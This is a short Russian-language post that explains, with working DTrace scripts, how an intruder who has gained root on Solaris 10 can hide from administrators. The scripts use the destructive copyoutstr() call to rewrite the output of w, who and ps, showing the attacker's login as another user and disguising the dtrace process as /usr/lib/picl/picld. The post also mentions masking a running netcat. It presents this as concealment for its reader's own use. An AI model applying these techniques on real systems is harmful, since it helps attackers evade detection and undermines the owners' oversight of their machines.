Не знаю, кому это может пригодиться, но, скажем, получили вы вдруг рута на какой-нибудь десятой соляре, и хотите чтобы в ближайшие полчаса вас в системе не видели, а вместо вас видели бы какого-нибудь Пупкина, который и так там сидит постоянно, или вообще nobody, или вдруг вы хотите чтобы запущенный вами netcat по ps виделся бы как какой-нибудь второй процесс /usr/lib/picl/picld.
Предположим, на машину вы зашли как пользователь
green. В нашем темном деле будем использовать DTrace, а если точнее - деструктивную функцию
copyoutstr(), уже знакомую нам по скрипту
liar.d. Пишем на скорую руку небольшой скриптик:
#!/usr/sbin/dtrace -ws
#pragma D option quiet
syscall::write:entry
/ (execname == "w" || execname == "who") && strstr(copyinstr(arg1),"green") != NULL /
{
copyoutstr("pupkin", arg1, 6);
}
Запускаем, и теперь, если кто-то захочет увидеть с помощью "w" (или "who"), кто в данный момент в системе, вы теперь
pupkin:
Такой же номер можно проделать и с командой
ps. Правда, есть два момента - если кто-то запускает, скажем, не просто
ps -ef, а
ps -ef | grep green, то номер не прокатывает. Второе - надо же спрятать процесс самого скрипта
dtrace, или поменять не логин в выводе, а имя запускаемой программы - что впрочем, в ваших силах: например, добавив в скрипт что-нибудь типа:
syscall::write:entry
/execname == "ps" && strstr(copyinstr(arg1),"dtrace") != NULL /
{
copyoutstr("/usr/lib/picl/picld ",arg1+50,30);
}
Вряд ли кто-нибудь заинтересуется вторым процессом
/usr/lib/picl/picld, ну а с цифрами можно поиграть.